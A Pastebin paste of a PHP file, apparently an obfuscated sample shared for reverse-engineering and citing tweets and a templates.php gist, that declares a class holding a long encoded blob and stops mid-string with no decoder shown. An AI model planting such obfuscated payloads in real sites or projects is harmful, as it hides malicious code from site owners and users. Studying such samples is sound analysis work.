e55db081d05f58a

phpofuscated_explain_RE

Feb 23rd, 2021 (edited)
1,168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 24.85 KB | None | 0 0
  1. <?php
  2. /*
  3. https://twitter.com/310hkc41b/status/1364127674038431745
  4. https://twitter.com/310hkc41b/status/1364353870374330371
  5. https://gist.githubusercontent.com/gabimarti/d6d3da6b34e0eb2ac81b669e1368e641/raw/e9221061ceaf589086a533fbddb0fba30c02f824/templates.php
  6. */
  7. class Set{
  8.    
  9.         var $library = '6bNEmD4J9yTB5kMLWmDKJDideLV7a8s4Qu70z+p5RR/O6+9SmEUyiuO9taebzXJQGGeFgAd5wTbe9lj1
  10.     tbumv2aTD2eiw8JakbCpQlpxcYOMI9vRefZrP0DzwqTLT/GwLbmcMMn67pkn1L4gxMsFhxzBKqVRecok
  11.     0PGq5FbFbWXLvPd85xQgAWpUkdiRe7n0nRKAdqn3lj7987NeFuSB0xvdqSK6uAJvWFN3r8/u9WL8kVq0
  12.     1sNWQ0O6UFEdTLlwwPHwivtbXjGSuFhRKz2QmCePgmWZW7UwtY2/7sz9+nbW3MwkxIZ+o8douJq9Tiob
  13.     N68I0xREZQSlMtjOzA3NlcsXTYOQxCVupj7ICDOgXOPJFrvJJ/+NM9j5XlT6Ee6YB+Ruh+jK83YL8Uj0
  14.     mLXqA+YEpHn8LCeGjmah2C+N1WzcVzaIVj7Gct9IJlOfjjsVTxzFm06XYS+xqIVeVGVeXQ+/dpYFt5Bt
  15.     8P0oaEKb+nyIR/oLxzK3PjJKtoVjsIjO/rnqeCEKixgq+7VI1dnN/5q2qTaak4Dd+Q8CcFj4znQCcG6/
  16.     KhZR3bU2xKPwZP/7c8JQ2ELPF/aSLc9RRNMPNxAlwQe+JboiQdQHrxRqHyRJgY90hhh3pSQVXeqbc6bd
  17.     O2nYajGVmsV6ioy4JwkQISx8xYdOZzmYrqfu3LIX79FHZuou9yjRBHLrpVIqgsS7WdP9iZT6BWMZxzfU
  18.     JskyvnhVOm0wqzd0+9WSYmr0115Eh9fDF7jh+vKEDbpFvDYVqu7i9lVORsembe6mT6FodfDwRWy3tmXg
  19.     LowpbZxT87FSGqrreeSPMTY6PbXVYgzXwp0EBBn6t1MNWuvs2XPIlF62DGx2ZQkSzfgZ29vBJQeq4Shn
  20.     EghgF9ro5aODzDzjML+QsJYN5HvwBEgEnVHwvH3Mr+3j4fChol22DruwYk+fbVUQYnNIInsgrER20dPg
  21.     ougS7aKgBIGdE2fJdR7z5D/ugFwjXEe0e4pVRdk5iWv2M72s0yptSXtvNkgvECpXzPdrJG7RKiALakOc
  22.     ajJ8STBd3yw6UGp7sARFPsXfe8TT/TsbIRMA2xWmnV7y0V2kSTF3P9ZiaJeNCIfFJOy4N3vf7HSKZxIR
  23.     fotSnK24Icgh7Zar+bY1LKiLzBLITJVXhAVbEDbTdVm99laT+GAmN144CfVCzqTA5x+i6iuQIifRn2j1
  24.     vWp4yaqqgh2eOSxweOVhV2imreFu32ZT2j2E1pJALvM5gH1bSRguTV1ijmYr6Q6uvZ48G76/9illSfbw
  25.     ZqHEHORsDxtOto8TML3DY2PzV6ATb7k5p0lIeNoRrYAoa+niLI88H9Ye+lCKfr0pK9d7gDuV8VOPHLWh
  26.     Om2FWSJpM7yMuupoGW6mYMKpuT5iCYAR1tqTF1fs9b6ULwJ9yt5Bx8sw1hjvUNqekMXSzl8gs3pd+SzJ
  27.     R6mkXPTkdg2EyCF+rggT2+t8a11XT34ddk43RvVSLCaGAR4iWNjAX3G2NBC8QegyXZlRT9+WZ1cbzTCR
  28.     jUF+diiCxt2G9UofI+yEWODIW5ltdr21WqzTCKL0WtZRdANekY55k+5aQzf0/Sa+M1MyhhCvsYCmCOYU
  29.     1TfHQQxl/YjtvvAhDD7hX477I/CRtgKklNLs1rhZC4haBE/VJ0f8BTgwnUSg9qWRBmLXiPlz9YxAa/vE
  30.     7ju80u1PpUvib7j4NkiFPBBw+xSRXkFak40QmWqjWdBraLYEHR4Y3MtJVOSUzzegfqWysNwsAIPcj6rV
  31.     3eL6AKUzeNLGGLYjEuHbpkrsOhkW547OkKMtTitJShAHE+plCZOT/9p98pSycHcs7OC1qfNIfHK4x5X3
  32.     tgZHbRmXlXoFZ4C2UsO4kzG5qsuY+xjkZN235kU0mSsvKKkILF9PR8pEQGrbCEDdCByWqJ3GEqwFdt2N
  33.     e8kJCSzBqakOpHbr59ezaEnKRjSakt44SpZ/2aHVcHsMyZfPp/wcSCY5+MR1m+nOcZ9xuSmbYbsO6GOd
  34.     7HtOQZeRAToLnm9Wr5AbPmsYRNrEufSn8nsCl1jj3b0hKSy1y3HcPFazfj4LS3WsCoRTVyy77WDolmDx
  35.     abEMxTLCj9M6BHfKiLR+CiB05i3IPK4ZJqfPgSsfOuUqSMML/QyNBI+Q0mF0Vnx/acjdiTmwWwLWC18l
  36.     f07/OngD6kHd8S4qmICZKjAJ2wGR8+pUwPwG+XvmoyDCCqEoLURnJecSSsK3WJJhSp0lUy2FEUN0uyL8
  37.     UhOHt2NPPhlOJT3EppU6BDj7OGTAOaijPhw3IJ5pTyKgUkn7UxnQTLE8BjxatJskiNmxcNbmqSjZsaCx
  38.     WXkb5+AWtg3XlIxLmIxbd4IO+I/2U1nQBVeXVhaFxVqwjncUE7U4AWeu8Ryknj3zMjsU6psNHngVFZ/a
  39.     Xq0LQ4VDW91F9u8iBkx/ENwY43O7Fb9n5QaVme+q9b4EzUlNhDQEaCiaiImwtSjYb5i8cxo02ldMMQkM
  40.     NtFEIRagKRQR2qAb3hALp9OJnmPQ/A/UFHN0+PA1seCRAVFc6zNt0680PNcKDB52DkWCC7Z8d9CZTvak
  41.     eqQ9ZKXoZWCnrH+vkM/QqYwHt6Mu6boNOI+1AdAt/FmPbqsiEWKwphrOVuqsnYfOMcmReHrkSHzrlLiE
  42.     /RDYtjb0C6wf/ljyLNZw6wAWjsNaWT3UqJAM2kRMk00lYSFLMrwaYjCsfyOPTNvDlmZZpJx7g8dROalO
  43.     uwRBaYucX3jTdtvMZK9qXJpsB7dRz4uuwhtQVrBcJ7IQw1z8ob7LCImSaGLP4mb2lcwgvfNDYXkmUZRt
  44.     a5S9UbliZ6fWgbgK0LPQ5zP5CCNoVkIs4B5/xZcxoxvfbg+fJ1llVIHo7ScYEUQVBJXwHoKTPUg71C2C
  45.     kVZjNGaNAH1bHObJ673b3ncw+fLiJNskuF1sbvZuFWsgIu0eIMrQBehCLrFtrCr1K+z0R8v/68fOZg2u
  46.     SjvD+mJD+cHvA9xP+0f2gvTG5t2kShga3inOThtWgezL+E/0/GjXMGXT+Iwbs7po72UrEJ+JqdDLAYFx
  47.     26UzwByZBM0YS6GK/1L2ENumpmsmsg6/1HEgukaagM4pAEZTrYWielRNL9lZTzv4AkypwJRifMSk7yKl
  48.     xAmI//iBHyw1CsJRWAmiJ9foyhcJ4+B7gGMTqSiW2JtLFImOU6kqmPBcPunWVMNBMlFqUkcXogi+wg2g
  49.     /Go7DhaOLrKjZsG4S4d7vJ3Yxrr6OEsoqidm8VF7KrU1B2ltmRoSzsm2wxrd58qDF6QzD5rZ5huWGQ5f
  50.     sDFEQZgGSBkvPyMA91iDHBn+66KrpYH4hQRbh9v3z934SkH+jbq7b4a1p83fvOJy1cESgSgzmDCODghr
  51.     DFWa7f/pBH2NloTNxGtkdpYVJtut0fiXQw++eNIVPEf8Gdnpb6rEwZ3La6iFvx9cUzR1Unrocmb+oCHQ
  52.     BU02f8kVWY/SLPF7yK3/BLSbx+aRmxoWiJezXKa5UG2zEVSQqaR8fPS2ercwtDo+8UpbJXNRh6pGKj7z
  53.     m3RTM2WXVYFZwe4lMO7S2zFABS+Yjv4VZcy0nPNuBOeFWLYjXZurshRLx67KLhFkAaim97H+WI0wE8M9
  54.     ngmvVxe7lUMT5Whtvh5Ks0nx9K9jigVKdGqeUk8HlP70lqx9Gf6ndxLHbhYJQRKJd4HMo5IYtCM5SYFO
  55.     2bAtRjYTcTPuS+PKL6u5X5Tkyxrf/RtQMDIESzQJlJyWlhk1bvWE7WPlmjwWLvcouClv4ejpK6xPciXx
  56.     t+5laaORhpsyG3/UJRPAz8N2jAIoZcQTYT5FWPNiBkCMmUJIcEL41j9GuyLt5psP871/q1AObaqQ6Njp
  57.     nEnJGVPi1o7RxMAu6WprUDbSuYyHeUwSA97w9HvI1brpCG9LHWfKNUOq6ahB2pr/awFr4VeN3LGsl6F2
  58.     MoTXOVrpxGmV8m9qmpOyAjZtjfTWAmz2uel+WwgL2IdhCNpd23gIYnbuG3KlvbDsj9VymWZTxgdfHxXk
  59.     sS9D2vplrzF0T7AJlSwO9YYaPY5NORc1UDvUuvzjlUAv/QsV+0zpvqxr/jpfm6dFjs/bCmkLKHehYCfe
  60.     qdY0Iwth2ZndxjKj0fhHxvI2KJMNlGc6KcMpBqSojLNvMd7vGPoUIRDr05dTGxlx0FceXSLvO0sCnOta
  61.     V77V5Gj+baQNOJdM4imZrg+Lky9m2yIe6inWZbc7/bvzZkASRZxI8+5TWBiGXXj6aJ8pVPcQzDbAGjyG
  62.     3K9/M2J16SJM0ha+79409OA0tiyuV/Mvi5Dcm/GWI3ujjBbDubbT5nRfPEktMfJw2EyQYisEVbIUZCRP
  63.     vgHhvoFp3yNcJLCMd6waIpSpJw7Gawdzi0CEoVD/jhZfBiolai/x53fsKzzpk+UAoDteCCN4aZcOp9t7
  64.     CxH6ogocwMVx/UPKHWWAKpM9IZwW3oJpeYgaNVIwOgHKvOTVSWtOouSGS6RMtwcQvucJPxFEteaj3qCV
  65.     04aOxAqslSAzo3E5hMhTa38CqMnz5IgozIl6b6otfdgc1ufqxUUbmSc4XE0/Je95g20IwOrzDBMd5O55
  66.     rDfn8dwXeeXm8xNYr1D4rOkkvrG022ne/7bgf66m+mLuO4ylvYOL988XQ3IIuvadSk3mjO2YwHSMqy66
  67.     WEf1vvsf0jEn7JmcGrZVrpmg/zJ8KDlZXoB9Se50FVzJjxNWOBk0I23JeujMZcxePFPa+PGRJ7nSDQzz
  68.     StJJ0xo2IOsg13qp4kKedoZsD79n2GtVO2TGYqSq68FE97PnzqlRs/JwtsIEarllD/ctKmuxdgxkO7Ld
  69.     UzEPvjVu4i2coKsHR1l/tpD8GrB6L6J0mJkwmYUgpS1xdrFpwmdHmBfEAat2Hzw69xuSap8SaDbcELjz
  70.     uBoI9u+QYIGewQCcr98zUG98+EJFiP1oSWZ/keMLFvPEE1p17IEq/NE8fKHFqQI4kPiFgB4tkS3YrHAP
  71.     KKP+ICuX/N+4AnJ/N+HNFdCLqBeawPdTcMIOIWaYf7XHaIT3mXRhzzsbeAPhtL/1cKz/pIHag7i6cqDA
  72.     4nBI1nxzio38cWgW9sncj+JExf7wdpa1ZHKUjVKwdAcjRGy67flaU5DSHaXHpE5BS7bl7SwgcwFc91G9
  73.     w/HjhjJr+cUlEJv7Ry4W/wNlBzAWVexosZUW3V128bmagAW+hxkAM7JWLdsQcB5EYJk1retrTeuflHOZ
  74.     BTSCAB6ZBGdW+2km+j0gT8kwzi77R+VaFwynmDChdNu7GEwqYg1eg/iENcqZFsGdNuV0lMg0evjA+c4o
  75.     y9d0ttrR4k43cylfYbNrdaASbGywkpwiD/sq+71bhR6ESHaN87I06n9LRhYuBY0vMmW2FcSysK49ATFK
  76.     J/tS2rnRBOBRAnpRV/3wq6HmcPy7/ojUDkayZWoquHEglOS7UNe3HDe9z+Ot/u5qLGzyetcQ2wHtWEhy
  77.     kpqRiM9QsjXSa9F9YRB0V2Od+JXNXy/dy2ZnxDPOdJQGK1UUeSc/vkuWjpIy6m5s0affkod//f4rIxAY
  78.     11sUPZpYwCTA0PEEy3FQzrgDz9l6riVKGXsdNzIwsdVGNwAEPJiZm+ruppdHY04VGLTyEh4kuExQfjNK
  79.     BxSv5EV5he+s8WSxAeH0D/2/BWRywlA/BqMGLR47XdKAFQXrcQpPEV6CsppU3wALbmYOlGBtK2kxQWl6
  80.     xuP4bPOlz0zZthtPHXJ8grmTWx+il/YkC4AwfhJJub8TD4KRu2wWuPs+agRiuLqLshE1Gs6unVHEmL19
  81.     I4mw9RD8Dkh+Ecx9YsAQfiLe2R8FJkOkwumJvqzxO44GJO9Xp/yF/hg1N5Lx3Q8i2KCe5vAzYLgq4ust
  82.     hZtuMvLnn5rc6Jrw1CXFsa0Wr+OiZthcVedsXu/6eezaxJrfx6g6jw3/9Fm3o33yUGJcNNKXVRKJilHL
  83.     HI2gChgtcojvwXYQaGMyNA57n0U1fPlamqcM+GFxyUvLJYmu8GTV916uHeY393M+dKU+Z3jVHhxbJDzt
  84.     ihdiywKYZ52/icXoSr6lMTiMCX0isIPJzPvFGSeNp783ad7XMHYLHW3OfWTworByzC1igw5HWnRn008T
  85.     PJKnp4nZWpDNW7wH9V9DHPBOxXHk3Yiw/GomShgVdnwqUq7Mvu3v9RKxMPHPXKUHSd/MJuBv687qIWMk
  86.     g8ouQKACM/CwoCSRZjUl7B2k4fnGHIdM2ReLzvDg+KZrSPcsUwAYzHzccemGjUmJH9iI7/g68GG8C6pg
  87.     rmbeN/jU4ZBAzUJpHf0IWusQ0iDCQWgLptaFe/hSFVnPM13juR7ChpV//UBxNlmjoOt/bVQyyOLsFZlC
  88.     DkANwBuiBcUQQKW2/mqL5zf4ZgAVY2Cq6sCD5xfsQ10Ob45998yeErm/x/MY5w4CjkTuvYLSj4AvROA0
  89.     6aXOjo8t6R88omQY9TXwDVJovKUbbL8wC2PmDyn+z2upww+/ssTizikEu8zjLXXNHqUYoZB7lkCMVBkN
  90.     moH/M2tn7xzUgJbnqVr2C+u8HkwZnbZFFk3BHQ+30hC3bt2VXZ9RVdIXtie9H9FlBqKFAekbOp4qpyj6
  91.     kbIYkK/NuNe5sLS2dp24L7pPAIr7muPKc09ZXg2MAcmQMrYp91lZ3Y/RfaIdCpepUArhCGoj9rXwHWGB
  92.     m66XPyZzR//HZVRc7m3rdaC2KxeGnP0Yoigf+uR/9fwVMDcNFCWTM+AGKyeMzKGE9xXPT+8msLpPtA2+
  93.     iulLOqGaFE8Hd13GJV9Xrt2NAvQBuNeDSP/4fNmNziaREmRIxfTPJJe4Cu47N4SklfaEXDm5Zjx8n4gV
  94.     14PTkqGEyV4a3SX4cny3RL8/6PMJhh6ibFkOsl+s7TT6Ee7kDJcoZmp5tRSlAZLUSaZk24blX3ubLFfG
  95.     kGxN5UXY0sFVwWZK+M+KwO4o/lSoV3jIuop7nwSLNyFuGPO93rzGmEehP7MDokjg6Y26vjN04bUsRuhB
  96.     fhogUKae/bWSe7inQ+SBIeRUTaRJMslpcAyeSnHfzsVw4F52JI7YXLMl6Fy4xQzWkokVmYEL9arU6blv
  97.     D+9b6BN91PTqArkBMtInsUCq6CZ8ejrpHVh0Z34sNLQuXX4aFxx6DHFfw475Q6CBSumHKceqxzpCw8hc
  98.     nU7dTbR1CjQsv7r7lePmnTftMfh9/0uRhiMuWbP1ibBlt/v2UzN0Fis5w+NYmHeJfVECReot5uYR5x0w
  99.     aFloBy7sStzD6m/yDyl8Fzsw8mjti3f9tiEfgCPiUNYI+49a2TLjh4D0+VTSraBVcG6hRkAwyPGPOexI
  100.     KDvMDfoiU+UH3glyAz8bkSIL8RYv+WysGRcsR0QP9S9qAqcbIRUigcrNJ9jtEroAsI67ztA2/nTTbny4
  101.     1VfaCs5oAS6XUY6jKQmUGv+eeOzj0kfU0FyinsEfkCOukX+4kgaUnhLVu3K7NXUrYu2gzF3j8cMUrY3N
  102.     RLkQPdCein7V1Dur+W+1ocAMg5Ycj6Y3sqFjxrQz3MbKb84nInxuuQbonkiHcGgdw5b2D5doXwS72gi+
  103.     JynvRRUW6wejk1BPscFuAW2uzDJVhwk05noksDXsimzDhFpX7cZuYanCJNtTZi2jyOGIsjIsYldOny13
  104.     hvaWPXbDlsAzdenpQmmMJzzfJWmsX/DCRnKG7fbb32mV23LyHjaEh5jQOOfDEboGhHPWV/nrrT7KJ3vo
  105.     EofR5mu4BgQlIyqkyu3LTrm5+OaZ+8pn6rHlsNiMk1kNy2GACknmuknW/LWZSXW7Ln2bdyIdc/1ju5Uf
  106.     XRNvOJGULpxOe0jxHCuI+rpL51l2tywhPk9TL9/ePl0lORKFrx8EjIi2eDenPvOg2R+Qs2X1vlYV4qpL
  107.     hqtyIZKd1NpG3oH4sagOqX2B/TsaneOuHhNcPO1V3X8JlCYRBtU3JPPBZ4K02oOCZVybInQHE9sFNWY1
  108.     Wi45Mr+E2UtYN530MJqXlr/llCn7HiE1cv7eUxs+xIodqLFNLHUfX/jjemYQIFW4M1iM1Dizrg/VvgCJ
  109.     FxPHqwVlTAAY/p9SQP7zZM5C/e0BVoipiBoRBq5o6S10vT7jGjKpIOhCnIrorpTccIX+S3Eq85bobuZY
  110.     oGkgb+ibZIz4H3ZbedU+tE3YKDzvZlUkg9q3qKBLwKSVP+NmkRE0wPxxhACBt6DvVY4Z6Wu0kt3iMITy
  111.     ytqdPDaqsR9ZPMfilE0P4upoigaNdvRq775Ztb14tSLuz40N1vuhRsCOiiwWHt7bEAjKr2d9UXZEyUNO
  112.     k2kE3/DeaOJrs3/my0uyC/lDTDhJ8wUjBTx9qY+KuqqQJDmMKN5SEXnb5sCWZvXjBOp8rRraihV51+28
  113.     TegOwbmzFtn/xOhtm2a0AZHzV5uUHAA60ahB2mtPF8HA4rYcKlXSTMrhTu8CiDhxvbxa0GMjtB10PFhO
  114.     XGDJHg6XUgYJhLeGj0s+LtVeCaQv0b1uW+mEg8DCodyR0UoS7KT4mcWviVKdPdkbZIfJJllLEa3jn/z5
  115.     8OENeFegWMwney8Dtn+dO2HwTsZ2PxD8Vkgl3IxIJztG4a26FRj2feP5vLptSJ7v6nfbUIttxJjKlfoR
  116.     KSzbdlSvvptKDDiE6eEtHmS+7ckHDexBryT8m/oQdhgqd2lPBPJieLjcom29HOC9OmSzdU+cd3Jq29SD
  117.     1GMeNiTVN8veQnb6TsAVuMZaYMP9Ivr4InXHuGNtjNMb/mlKgtFMODvQcYvuTnzallPSNAJZOPF3HK4J
  118.     tvBGZZrEyCkgqVJ7xmtsM686T+8cQgoCE6+fB/r/OCf7P8+5SH55sWiII77jcGTSsQQyYDgALJBossQZ
  119.     E8bN59Nz9FKw3XuE1slrK8s3aa2XwuNNZz4F6MN/Wj3hbLXMtcsSYf6ZKLeVuRuL+fKF2Tt+UxsU0/0m
  120.     CiOe+qJ5f/iRHG6vt4ACnYcNtwEjO9CESeX0VtFTrFs6aT8VD09ZOyR8xRABlgkmvCRlCHIL1BeZfPn7
  121.     R8owUvoK9km5z1NBgobfwTkCrOlFrwELo0xVBAheVzfeuqJAwxMrs534Va7yQQooxl92BYpHSIJNP2HE
  122.     e3o6PwcourDXEIZkBEES4HYGPoxzKscYH16C27FOGOqJJHZ4e+B2oaHtgIz60x+PjpyXYv3ZRAEiKyWR
  123.     18l2df4e9xcUUdY2V2ymuYODlWQmaHCN8GY4y95IbgDAQg2b7ZhRHXRHkhh9RfzrJiEfcswg0R8Vxjqf
  124.     hzFbSnTnfNDzL+CfL0SLph5ICHC9TWaK7BbJRugMdKr8FhcWACns31nR7WdwFXrHiDy6Q/pdT9qba57l
  125.     MXCgeWTCqsknOysdU4az6f6AQeXUPu2VN/lnTzr7nbRPH5igbgGv9qyq6jMeWqnOjIOxqGSEJkEaHPQf
  126.     QSsizqddJKue3fxuzfbgOd+xIqLiYiWyhfOoQjwuEtU/dJTI2+gs5QvwOIZw1CoggVviZSeNokVOEK9Z
  127.     NzWsck/WZf7h350/x1q2ff7S8dP5FZUo1e8EfpQLb/W1Q3gTZ/gwtcmisxGFUg1Wmi8CFfjDbqTlun7K
  128.     CpG4pt2JEDqLQvrhxrml5zCaV8O9w5+4M+7GBLrGdkJbezq/TK3lZoNLXVdAe6Pntz/KG2p21/1bzJZ3
  129.     Sj09OnhbVLjwtFcuOHq8NHZ2p4CnOrmW403muNc8Occn/v8THazHtwUNOcbPWh5Ims+ZUFl/xgfTex14
  130.     STyuDjduvwctuYPWLTS/fuwpeoqgaKQsBQIly2wyyVEnz4FpgKH2hMrT148uySmAyZkkuZYzGPZJ++NL
  131.     KHDBPErR4Vr1jNF1ltpc9ZCE6JAfPIbpIKNxBtrphz1/PVdBJkhnobKvaE13KYkv+enEbP8SmiUo0FGZ
  132.     kqdyZFAKJS/ZFwN/IOp9Aha/Mk4x7cC4RLzvP0J5g0eX6tG3CP81h06hEudkZZfuoPJOKudOkaiPXqS1
  133.     59fGlIDJwGCY86nc/XvyYV5IuyZa6EWk/CmooyoSjgvcTcpa9BK+wncRdrqdIFZumDo30ZNtqE3CXgG4
  134.     qFBKH2HnMYNxEncfu/Px7isSgjpb8Ok9AStlUuMRYP1u1MtekC0s28qG8DsusGPvFJfHqg/mWnScHZfi
  135.     k0C62yplPbzTTuHrq9V4l+eMdCaRasCOpninfO7xm/ysezE/faO0yR20Nzg/I+L8R6y8s2CCQlyMP7P/
  136.     RnbS/XBD8H7R0Jz8/zc6kP8gTsf39jJrGws5TTGLc+C9vaPFqWJDq/DjDxcreuVNnKlFMnB72yGekakq
  137.     ocY0Bgw9NuYBNmYyv3fRMVFtolbXw1mo+wSLy2vuWdX/w2mDpoB6x+Gt/4TvTl0T/fk1a15Si+qGfhnB
  138.     isv9TcLa/mT/uyT21XuTLSW9947D3Oo6UhIxH2tBOmicuUunL0u/NJawbSrQ6eDThMexRNEXttqHWuHW
  139.     8JTTdvUVECgsUzLxe71Shq4q11mep9UDJ0BjtxrwPmpPC0Fh30CV+eJAwUY5XZ2nQvGwDeP/ReSYs11S
  140.     ph+6PqRMkl25JvepJOZF1uLoDXe5Bhn2uNx2bb4mlFfd3iOySsZrnnadduAg06FY6ocMwBoT+LjF1+w5
  141.     1ZJ7zqm/X25blWvxkl6geVByH3CVUUyMIncQi9a337ExXLMKC2q5tfsD069Xbql4MUpedOYu4E48y0Zc
  142.     waWPL9IIc0cs//hEwQ7XU5o2LmK+mRY+8jrzALHEj6B5m/cItv4bVhpy8hFm1gJPhMln47Z6kc3NGs5Z
  143.     HZdAT21YyiXxiTcjOFeYqHJQLqAHGkPl6BRuc43AcU1FWqLHMl+PzkI9uUroOBdWuE3Nbn6DmGekJlgL
  144.     x327YEj3oe6V58/hLielXHcNJbij/9v+NT4eimtrWhIUFQ0asZM9/vveS4+QNHWCetboNrhPotQOi+qr
  145.     vcLmnCF+vHtxn9x+vPSm+ch356vJPy0mbGLRHacmLmmn0Ow3S0MUYklpY8jx7+HyC9y7xPDj+iGxgPjL
  146.     Eotw4e4/UcEDJuc5T8OW75PQiT926U5T7oM9nZEbkXHE77dgJWEWlhaE7+aU+3xA64XHMUTN31oNqnOa
  147.     AYaas75rn19IWuJ2GHrhvaO/oy+u7HDWYbukrvSpTUpY3IGOH/6opcULlI7GH6VZCPNSQuWcDNUF8dZG
  148.     43xbTBqyya9K5ndRA/RuygV7ZfTXrImSVjFWFenBqxLPXnUCGVubp3rGD9M+oZSf8IQH7g5cGnI8jZ3k
  149.     uW86+F8MqBeU+EsWIe/RFg79P2mqiz7nXFi654gv6wPRUjhDstGncCamgEjqZMmZ+xx40gnrds2yGbzP
  150.     kahvGqj6wqsRTdiF3yayM1w5/m6/BY5IrqyFI5+80N4w+N+CyLBhLuPViWTHBm1c3LNa+Rh8IAgV/5DK
  151.     CICsVoViLYDS+RKo42FlFa+QUFLPxYDF4VIYys+WgQqp2yiaY54j5ay3hGtEuGbvQcm68RhXb+Y82Z6N
  152.     /MbRPpj4egq2VTel/KgCjiqrbQ0MaHIWD37jKGPVFCg5emMeRQ/BVMS0BdmQi7AfK03GZfZAf0SJzE0u
  153.     CdUU5YdsJY8e6azVy/swoyBdiYY1d1E8kY6gnUvrdvtN6IjX7izY6WvOA0o9oiKWJcKXqJ+ynjug2HXH
  154.     G9+mn7beOOsCq9J3vJs9kJcGpJHGDfh0qEgBR4+75zPgVJV6Ip1PiFrsFLuNMNA2N4zLlgsCatHkh/Aw
  155.     yeNSy7DJrIRJTtagPR4TLeJOVJPTKsG6xHN0NMBmj7mIG7ohMqj1UjUxTyxC8V0BjFehKMd2zTaAS9wW
  156.     YweHoxdFemrIkDTwyeTS8a4hdqu9DIO2e93J8gSBQzzGG7zERHCHNeTmSZ/biHTPwZMQRmHDQXD2Xfs6
  157.     7vNnfvSF59BX0waqmQM8Xw0JQRxTb3J+xALwwDEL3eaoTxrYrY4xozaKbn34s8yWn4kld2/jFfx6KpcF
  158.     Kvk+PTLJPWU5xouNfU4tlkZ+RLyP8NU2EkSl8yyrvV6Ygjq3BAzrvLaST6ShJ6dEq9q5WhWNOVJIvl0i
  159.     5ucY4hPjUoPruu8mExOMtFqbXKCaJ6ElfS3C/mqbGDaI7NVzAsm96Y9FZLwWjloFJn2dCXmbJvbG7/85
  160.     nZ/dw22Yd3mXjM2Km+XgL2TQAH5ObKAKAXrW2kfT28iPi8ipB6QUZJXa6d5O3ypmIY8x9gN8KcdP4hi5
  161.     GcSD3TQwtnE97SUXaeF6sAR1qVRBa43YV+aa2L6Oao7IX3X3vzWOjesxkCGtdDPf7qtCrG86IbSRjJNI
  162.     YIqwwwxHVgkSPK76vqSZjcrATIxdbdY+/55lLcaSadKG+9KkbuRuiPSjQ26ghVvCexjJIjy6vTEnogxh
  163.     KoowbkLPVs4OMkR7Mke6Tbo50NE5FMcHH/1ZiT3pqNR7qtkx6zDiBlQYzoQnjE83c6rlk5cq7+MZBu4B
  164.     Tv1KphfKsSt6+gqvruuRG107vHGUsO0dRi2lVNyYoIIDyUaiYYNolptV0Z0wqmWvnqBAYULsYI99+wkZ
  165.     cIbr0rhxekzVX51O6uGbFMOIU83QFWFPMa4MCnnNjAOmsnbMbQkqTJIWUf9t6sg+UaJUKjVVOfGrEeBd
  166.     +Yo/YCjDP7WjCz5e9W086fXWcOSK50uRquOk9DApJEdqH2IvYRe07m1pmGn3dyHyHtPMtYBTIGz6tlXg
  167.     TBS+I3DR2NJcxbYyLgadgZB/UJ0ng/1VLodqdCCI4Rrd5jfCxGYYQxRRHat/ja7El5LhJmsJ7GzM8cMj
  168.     gMZJoXIrgbNUuMIrLRxHzVhfKoxfl677ia+Kh+dl5h0Mfvj59lRVQ1RcXcEdx4Y6lylOphqjIdzWL6+o
  169.     GkqDS0muiOWcX7mp2dVfIAow8H7utyUPSCZB3A+LOrcFM44NPKFdAOVUcp76pt8tkpkulGOk4iznYGCh
  170.     bZHMyuOhs3y7nXznF61FtMF6jQxOcRu/dwOh7QXnBgogJVmMkRl8fsseldfG+VJltJGLFRDvyANVhHqQ
  171.     1Zq+qwZ93eWlf87uSm5k30OXaPcjZCRWaYSQQbMLYYci1m4a347nqcS5Q3CGxsRU9deoaY5/QVzHFnxp
  172.     e/Gfx0KeLaubr8JLyX0DmzBCW5qlVHui68iVmnoFJO1NhMfdOYVTZXOrt1rd1kfWwjJGUEcWk7+5Rx69
  173.     42E9TZptVzTTIx//PsOgv38GNOkUXznDQbLpznWkhmRvX6A280/hXQL4WL+FYdv5HGzu/QkYeOvr9BdE
  174.     UcHcebi1hBMWRVWTAmnWagHr7to36OHxAKQbzBpmNxDlLjym0OYmAI1wwUbt2fYwllQCAPr8MTbxS1Cl
  175.     bOMSbOz5Ef42xVhBJMKQGgbrb8iaPQtzK2roPXZnKNBsJlVnNwiMjpLsxtWdnwJ0xaWotvYMJN7X6bya
  176.     XuKA+Fxl2Yf4nx07iYyV4m0f8ugvMImYOXyAGVE0B6PuyWIl9pvPRLget27hFz4vOTCvRPsC7CwuXsCS
  177.     tdcjaf0Rf8MuqZWy64ASzCPJfmo2b8HngDNxw1/Xhr65EEm+Mz/SisrfUxSNyYr/W8f63VObJyZZkhT7
  178.     6Cp7mnPkxwiJYBzhtpUqFE3Z5bceqeNlSO8bvCnwq6F3I92+18dyEmzUSXNN0F5u6wJvM/f8XIVE1rty
  179.     GyAjaESaojfrvLwBR3k2M9Bxq66IccSD54AgDb0BLEVC8r1j9mCwOnjR2RHX5xPfsJTkSaf5q9N4aaxQ
  180.     9e0XMOXL/75cJgNhFqGa9865dhsOXDqjJNXiTkfh4cIWtwncs4lJHuCFPGSF51BjD8T+PTgjSEL0MYfI
  181.     a8MEfRgOh+pN8faiTSVqKw2lPIuTQ+64ubPojTj2Omqcm2XrlNzRPK0eHvnOB6Zb10RBuKuCSv6afhuJ
  182.     iftbAxALibdv2npx2eEl48BYxKf+XnjNADDv1akWOcxKoECaNqEUW/XTyRkEdkql3cTRGor2Gy9m2hnU
  183.     EpkPqcRzLU0DelhZU5NN0t7U6ldq77fkjg1RvTqRu99BfVMZkKZOxgdEL4ibliPnoNZXKhUPY4BY5+QN
  184.     N4aBMvop41OPZBMFz/BXjH/nTawuKzazDLwKvmiGCTihkYlZfKRuc5ByyrhAGV2vMU8D9QYzgnybKttE
  185.     zepolPZ4a/jS6OQbbIEaR12eIAyHk7XEdmuVcdv/Ei/a3jrzokt6YEjLqeAIIsixLPZesD4RqcpWf9ZC
  186.     lUcqqUkJVRye/I1YBEADnFuAJPnqnCGdNnW12F4tWp9TmIS+jr4JZoBRtWnhJrz0okaxHp6RXxRjUq6i
  187.     2Rm+/A01wNSvvQ+f8MdZTWINtNNi8wI5lbSDCByuR3WywPYq+Y1DUwxxy7bNCbbzdCGZmBH8BvkigAkA
  188.     9AK/ghe+yUIjRmf4sG7nZif8dxbN2g7i93cBD8kyYnB9Ojepob6xnT2SzMUFyKZHE1XxE7iD7w/XPPbC
  189.     tk8f9pc+tr8KbZF8IpnUR0Rjz9qlSKN4G0r2VcktjyGEoM5KZHin+b5nV2mSlCqZfjtPCbfbuVR1ikgr
